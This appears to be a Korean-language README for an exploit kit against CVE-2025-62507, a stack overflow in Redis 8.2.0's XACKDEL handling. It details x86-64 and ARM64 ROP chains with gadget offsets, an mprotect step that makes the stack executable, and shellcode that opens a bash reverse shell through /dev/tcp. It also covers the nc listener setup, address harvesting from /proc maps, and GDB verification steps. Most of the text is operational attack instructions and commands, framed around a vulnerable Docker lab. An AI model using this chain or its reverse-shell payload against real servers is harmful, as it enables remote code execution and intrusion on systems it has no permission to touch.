익스플로잇 스크립트 — CVE-2025-62507
디렉토리 구조
scripts/
├── exploit_x86.py # x86-64 ROP exploit
├── exploit_arm64.py # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh # GDB 디버깅 보조 스크립트
취약점 요약
| 항목 | 설명 |
|---|
| CVE | CVE-2025-62507 |
| 취약점 유형 | 스택 버퍼 오버플로우 (Stack Buffer Overflow) |
| 영향받는 구성 요소 | Redis 8.2.0 xackdelCommand 함수 |
| 트리거 방식 | XACKDEL 명령어에 52개 이상의 streamID 전달 |
| 이용 기술 | ROP 체인 → mprotect로 스택 실행 권한 해제 → 셸코드 리버스 셸 |
| 의존성 | Python 3 (순수 표준 라이브러리, 추가 설치 불필요) |
전제 조건
- 대상 환경: 실행 중인 Redis 8.2.0 (취약한 버전) 도커 컨테이너 또는 호스트
- 리스닝 터미널: 공격자는 사전에
nc -lvnp 4444를 실행하여 리버스 셸 대기
- 주소 획득 권한: 대상 프로세스의
/proc/<PID>/maps를 읽을 수 있어야 함 (root 권한)
- Python 3: 두 익스플로잇 스크립트는 표준 라이브러리만 사용 (
socket, struct, time, sys)
빠른 시작
1. 취약한 Redis 컨테이너 시작
# 프로젝트 루트 디렉토리에서 실행
docker compose -f docker-compose-vulnerable.yml up -d
# 컨테이너 실행 확인
docker ps | grep redis-cve-2025-62507
2. 주요 메모리 주소 획득
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# x86-64 주소 획득
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)
echo "REDIS_BASE=$REDIS_BASE LIBC_BASE=$LIBC_BASE STACK_ADDR=$STACK_ADDR"
참고: 컨테이너를 재시작할 때마다 주소가 변경됩니다(ASLR). 다시 획득해야 합니다.
3. 리버스 셸 리스너 시작
# 호스트에서 다른 터미널 열기
nc -lvnp 4444
4. 익스플로잇 실행
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR
# ARM64 (Docker QEMU 고정 주소, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]
exploit_x86.py — x86-64 ROP 익스플로잇
사용법
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>
매개변수 설명
ROP 체인 구조
52개의 패딩 ID (1-1)
│
▼
ID#53 overflow ──→ pop rdi; ret (redis + 0x82327)
ID#54 ──→ pop rsi; ret (redis + 0x86416)
ID#55 ──→ pop rdx; ret (redis + 0xba1e2)
ID#56 ──→ mprotect() (libc + 0x1019e0)
ID#57 ──→ call rsp (redis + 0x9486d)
ID#58+ ──→ shellcode ──→ system("/bin/bash -c '...'")
Gadget 오프셋 (redis-server-8.2.0)
사용자 정의 리버스 셸 주소
reverse_shell_cmd 변수는 스크립트 149번째 줄에 정의되어 있으며, 기본값은 다음과 같습니다.
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"
수정 방법: exploit_x86.py를 편집하여 reverse_shell_cmd 줄을 찾아 IP와 포트를 바꿉니다.
포트 수정: /dev/tcp/<IP>/4444의 4444를 실제 리스닝 포트로 바꿉니다.
stack_page는 stack_addr 매개변수를 기반으로 동적 계산됩니다: (stack_addr + 0x1000) & ~0xFFF, mprotect 윈도우가 셸코드가 위치한 스택 영역을 포함하도록 합니다. 스택 레이아웃이 비정상적이면 함께 조정해야 합니다.
exploit_arm64.py — ARM64 ROP 익스플로잇
사용법
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]
매개변수 설명
ARM64 참고: stack_addr은 xackdelCommand 진입 시의 SP 값입니다 ([stack] 세그먼트 시작 주소가 아닙니다!). static_ids[0] = stack_addr - 0x310, call()의 saved x30은 stack_addr + 8에 위치합니다 (즉, static_ids[49].seq).
ROP 체인 구조
49개의 패딩 ID (1-1)
│
▼
ID#49-58 call() 종료 프레임 (10 IDs) — call()의 저장된 레지스터와 지역 변수 덮어쓰기
│ #49: saved x29 (dummy) + x30 (G5)
│ #50: saved x19/x20, #51: saved x21(=0)/x22
│ #52: x23/x24, #53: x25/x26, #54: x27/x28
│ #55-58: 지역 변수 (0으로 설정)
│
▼ call() ret → SP = stack_addr + 0xa0
│
ID#59-61 Step 1: G5 (redis + 0x1a4d40) x0=writable, → G_SET_X2_7
ID#62-65 Step 2: G_SET_X2_7 (redis + 0x1d7a84) w2=7, → LDR_X1_SIDELOAD
ID#66-67 Step 3: LDR_X1_SIDELOAD (libc + 0x34ab4) x1=0x1000, → G5
ID#68-70 Step 4: G5 (redis + 0x1a4d40) x19=mprotect, → MOV_X3_X19
ID#71-93 Step 5: MOV_X3_X19 (redis + 0x2948b0) x3=mprotect, → LDR_X0_CLEAN
ID#94-95 Step 6: LDR_X0_CLEAN (libc + 0x6ae40) x0=stack_page, → BLR_X3
ID#96-98 Step 7: BLR_X3 (redis + 0x92bc4) call mprotect → shellcode
ID#99+ shellcode — system("/bin/bash -c 'reverse_shell_cmd'")
중요: call()의 종료(epilogue)는 ret 이전에 스택에서 x19-x28을 복원하고 여러 지역 변수를 읽습니다. ID#49-58은 안전한 값으로 채워야 하며, 그렇지 않으면 epilogue 실행 중에 충돌합니다. ROP 체인은 ID#59 (call() ret 이후의 SP 위치)부터 시작합니다.
Gadget 오프셋 (redis-server-8.2.0-arm64)
Gadget 오프셋 (libc.so.6-arm64, Docker 컨테이너 내부)
참고: LDR_X1_SIDELOAD에는 mov x0, x1 부작용이 있어 실행 후 x0이 x1로 덮어쓰여집니다! 이후에 G5 또는 LDR_X0_CLEAN을 사용하여 x0을 다시 설정해야 합니다.
사용자 정의 리버스 셸 주소
reverse_shell_cmd는 build_exploit_arm64() 함수에서 rev_shell_host와 rev_shell_port 매개변수를 기반으로 동적으로 구성됩니다.
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"
권장 방법: 명령줄 매개변수로 리버스 셸 주소 지정:
# 기본값: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0
# 사용자 정의 리버스 셸 주소 및 포트:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
# ^^^^^^^^ ^^^^ ^^^^^^^^^^
# rev_host rev_port target
직접 수정: exploit_arm64.py를 편집하여 exploit() 함수의 기본 매개변수 값을 수정합니다.
GDB 디버깅
gdb_with_symbols.sh 사용
# Redis PID 획득
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')
# GDB 실행 및 자동 중단점 설정
./scripts/gdb_with_symbols.sh $REDIS_PID
스크립트가 자동으로:
binaries/redis-server-8.2.0 심볼 테이블 로드
xackdelCommand에 중단점 설정
mprotect에 중단점 설정
system에 중단점 설정
주요 중단점 위치
# xackdelCommand 진입 — 정상 스택 레이아웃 관찰
break xackdelCommand
# 53번째 streamID 기록 후 — 반환 주소 덮어쓰기 확인
# (루프 내부에 조건부 중단점 설정)
# mprotect 호출 전 — 인자 rdi/rsi/rdx 검증
break mprotect
# system 호출 전 — rdi가 명령어 문자열을 가리키는지 확인
break system
익스플로잇 주요 단계 검증
# 1. xackdelCommand 진입 후 static_ids 배열 위치 찾기
(gdb) x/10gx $rbp - 0x340 # x86-64
(gdb) x/10gx $sp # ARM64
# 2. mprotect 중단점 트리거 시 인자 검증
(gdb) info registers rdi rsi rdx # x86-64
(gdb) info registers x0 x1 x2 # ARM64
# 예상: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7
# 3. mprotect 반환 후 RAX/X0 확인 (=0 성공)
(gdb) finish
(gdb) info registers rax # x86-64
(gdb) info registers x0 # ARM64
# 4. 셸코드 실행 관찰
(gdb) x/20i $rsp # x86-64: call rsp 후 셸코드
(gdb) x/20i $x30 # ARM64: 점프 전 반환 주소
문제 해결
환경 정리
# 컨테이너 중지 및 삭제
docker compose -f docker-compose-vulnerable.yml down
파일 참조